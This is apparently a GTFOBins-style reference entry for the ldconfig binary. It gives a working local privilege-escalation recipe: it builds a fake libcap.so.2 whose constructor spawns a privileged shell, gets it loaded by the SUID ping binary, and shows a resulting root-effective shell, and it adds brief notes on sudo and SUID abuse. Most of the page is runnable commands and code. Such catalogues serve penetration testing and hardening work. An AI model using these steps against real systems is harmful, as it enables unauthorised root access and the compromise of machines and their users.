.. / ldconfig
Star

Follows a minimal example of how to use the described technique (details may change across different distributions).

Run the code associated with the technique.

Identify a target SUID executable, for example the libcap library of ping:

$ ldd /bin/ping | grep libcap
      libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)

Create a fake library that spawns a shell at bootstrap:

echo '#include <unistd.h>

__attribute__((constructor))
static void init() {
    execl("/bin/sh", "/bin/sh", "-p", NULL);
}
' >"$TF/lib.c"

Compile it with:

gcc -fPIC -shared "$TF/lib.c" -o "$TF/libcap.so.2"

Run ldconfig again as described below then just run ping to obtain a root shell:

$ ping
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.